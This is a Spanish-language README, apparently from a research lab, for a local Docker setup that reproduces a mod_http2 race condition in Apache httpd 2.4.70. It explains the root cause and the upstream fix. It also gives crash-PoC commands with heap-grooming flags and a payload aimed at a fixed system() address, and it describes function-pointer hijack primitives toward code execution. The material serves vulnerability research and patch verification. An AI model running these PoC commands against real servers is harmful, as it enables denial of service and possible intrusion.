
Laboratorio Docker aislado que reproduce la condición de carrera de CVE-2026-119618 en mod_http2 en Apache httpd 2.4.55–2.4.70, con un PoC de fallo, primitivas de corrupción del heap, análisis de volcados de memoria y un control A/B con 2.4.71.
assign_headers() de Apache mod_http2 (CWE-362)Laboratorio de prueba de concepto educativo para CVE-2026-119618 (crítica; publicada el 2026-11-11), una
condición de carrera en mod_http2 de Apache HTTP Server que afecta a httpd 2.4.55–2.4.70, corregida
en 2.4.71. Todo aquí se ejecuta contra contenedores Docker locales al host vinculados a
127.0.0.1 en una red aislada — nunca dirijas estas herramientas contra ningún otro host.
Resultados en un párrafo: el fallo se reproduce como un PoC de caída por corrupción del heap fiable en
2.4.70 (volcados de núcleo en las rutas de apr_table/asignador/destrucción de pool, más de 6 modos de caída distintos), y
se lograron dos primitivas de corrupción: bytes de cabecera del atacante sobrescribiendo un puntero de datos
desreferenciado, y un secuestro de puntero a función en la limpieza del pool que transfiere el control a un
plain_cleanup_fn corrupto (primitiva B del paso 4). La ejecución de código de extremo a extremo NO se
logró — los pasos 5, 6 y 8 terminaron cada uno con un bloqueo estructural preciso y respaldado por evidencia
(consulta Resultados). El control A/B sobre 2.4.71 está limpio: 189.524 flujos en todas las
familias de payload, cero resets/GOAWAYs/volcados de núcleo.
Toda la corrección upstream (commit 824beab9) es una línea en
modules/http2/h2_request.c, función assign_headers():
// when: !is_connect && no_body && Content-Type present && Content-Length absent
- apr_table_setn(req->headers, "Content-Length", "0"); // writes SHARED session-side table
+ apr_table_setn(r->headers_in, "Content-Length", "0"); // writes per-request clone (2.4.71)
assign_headers() se ejecuta en un hilo de trabajo de mod_http2 (c2), pero req->headers es una
apr_table que reside en el pool de flujo propiedad del hilo de sesión de nghttp2 (c1).
apr_table no es seguro para hilos, y los pools de APR no sincronizan la asignación dentro del mismo pool:
c1 session thread (nghttp2) c2 worker thread (mod_http2)
──────────────────────────── ────────────────────────────
h2_request_clone / push collect assign_headers()
iterate/copy req->headers ──────┐ apr_table_setn(req->headers,
apr_palloc from stream pool ──┐ │ "Content-Length", "0")
│ │ └─ realloc entry array (80 entries
shared session allocator ◄────┴─┴──────────── == capacity) + apr_palloc race
(lock-free on this path) ⇒ heap corruption / double-pop
El setn del worker puede reasignar el array de entradas de la tabla o sobrescribir entradas mientras el hilo de sesión clona/itera la misma tabla, y su apr_palloc compite con las asignaciones del hilo de sesión desde el mismo nodo del asignador sin bloqueo. La 2.4.71 elimina la escritura compartida (usa el clon r->headers_in por petición) y añade pool_lock.
Una petición HTTP/2 cuyo frame HEADERS lleva END_STREAM (sin cuerpo) con una cabecera Content-Type, sin Content-Length, y un método distinto de CONNECT. La carrera es entre el hilo de sesión y el hilo de trabajo sobre el mismo stream, por lo que el PoC abre muchos de estos streams de forma concurrente y amplifica con la temporización de RST/push/burst.
| Ruta | Propósito |
|---|---|
docker-compose.yaml | target = httpd:2.4.70 (vulnerable), target-fixed = httpd:2.4.71 (A/B), dev = este contenedor |
target/httpd-lab.conf | configuración h2c inyectada mediante -c Include (Listen 8080, Protocols h2c http/1.1, event MPM, CoreDumpDirectory /tmp, CGI habilitado) |
target/htdocs/ | push.cgi (emite Link: </style.css>; rel=preload para forzar el clonado del hilo de sesión), diag.cgi (diagnóstico de core/proc, ?savecore conserva /tmp/core), fetch.cgi (descarga gzip de archivos/cores/marcadores desde el objetivo) |
poc.py | cliente de carrera h2 (PoC de caída + flags de grooming) |
exploit.py | driver de RCE de los pasos 5/6 + helpers reutilizables (run_poc, save_and_fetch_core, gdb_batch, direcciones fijas) |
cve2poc/ | arnés de doble bucle del paso 8 (arquitectura Cve2PoC: spec → compuertas estáticas → sintetizar → ejecutar → oráculo → puntuación de doble eje → refinar/replanificar) |
evidence/ | informes de pasos (STEP4_RCE.md, STEP5_RCE.md, STEP6_RCE.md, STEP8_CVE2POC.md), backtraces resueltos, analyze_core.sh (resolutor de cores offline), cores archivados en target-bin/ |
src/ | código fuente de referencia de solo lectura (httpd 2.4.70, apr 1.7.5) — nunca se compila |
Notas del entorno: el contenedor del agente/dev no tiene CLI de docker — inicia los objetivos en el host con docker compose up -d target target-fixed. ASLR está desactivado en este laboratorio, por lo que todas las direcciones registradas (system = 0xffff924292c0, base de mod_http2 0xffff91e60000, región de header-spray 0xffff91600000–0xffff91650000, …) son estables entre ejecuciones. kernel.core_pattern=core y core_uses_pid=0: cada caída sobrescribe el /tmp/core del objetivo — ejecuta curl 'http://target:8080/diag.cgi?savecore' antes de la siguiente carrera.
python3 -m venv .venv && .venv/bin/pip install h2 # once
# Crash PoC (reliable on 2 CPUs; expect exit 1 + a fresh ~1.1 GB core in target /tmp):
.venv/bin/python poc.py --host target --mode flood --connections 16 --streams 100 \
--rounds 100000 --fill 78 --pad 16 --payload-hex c0924292ffff --duration 15 --persist
# Preserve + fetch + resolve the core (sleep ~15 s first — diag.cgi is unresponsive
# while the core flushes):
curl -s 'http://target:8080/diag.cgi?savecore'
curl -s 'http://target:8080/fetch.cgi?f=core' -o /tmp/c.gz && gunzip -f /tmp/c.gz
bash evidence/analyze_core.sh /tmp/c # offline gdb vs archived target binaries
# A/B control — identical run vs the patched image; expect 0 resets/GOAWAYs/cores:
.venv/bin/python poc.py --host target-fixed --mode flood --connections 16 --streams 100 \
--rounds 100000 --fill 78 --pad 16 --payload-hex c0924292ffff --duration 30 --persist
# Step-8 dual-loop harness (strategy registry, dead-veto, dual-axis scoring, stall→replan):
.venv/bin/python -m cve2poc selftest # offline proof, green before any race
.venv/bin/python -m cve2poc run --strategy S2 --budget 4 --duration 20
.venv/bin/python -m cve2poc status # reconstruct state from the JSONL reward store
Flags clave de grooming de poc.py: --fill 78 (78 rellenos + content-type + host = 80 entradas == capacidad de la tabla ⇒ fuerza el realloc vulnerable; --fill 0 es el control sin carrera), --pad N (dirige el consumo del stream-pool contra el límite de 8 KB del nodo del asignador; 16 = ventana de crash en la limpieza), amplificadores --mode {race,rst,push,flood,burst}, --pattern (spray de cabeceras reconocible), --payload-hex / --body-hex / --body-every (cargas útiles binarias; los valores de cabecera de nghttp2 son solo field-vchar, por lo que los bytes con NUL deben viajar en cuerpos DATA).
poc.py provoca el crash del worker 2.4.70 de forma reproducible (conn 16 más fiable que 32 en 2 CPUs). Los cores resueltos offline se clasifican en 6+ modos distintos: corrupción de la free-list del asignador (apr_allocator_free con un puntero corrompido por checksum), carreras en las entradas de apr_table, corrupción del puntero de datos del stream, corrupción de bucket/brigade, crashes en la limpieza de pool-destroy y asserts de APR. Cada core se verifica en cuanto a procedencia (Apache/2.4.70, ausencia de la cadena pool_lock) antes de la atribución. Véase evidence/EVIDENCE.md y BACKTRACE_*.txt.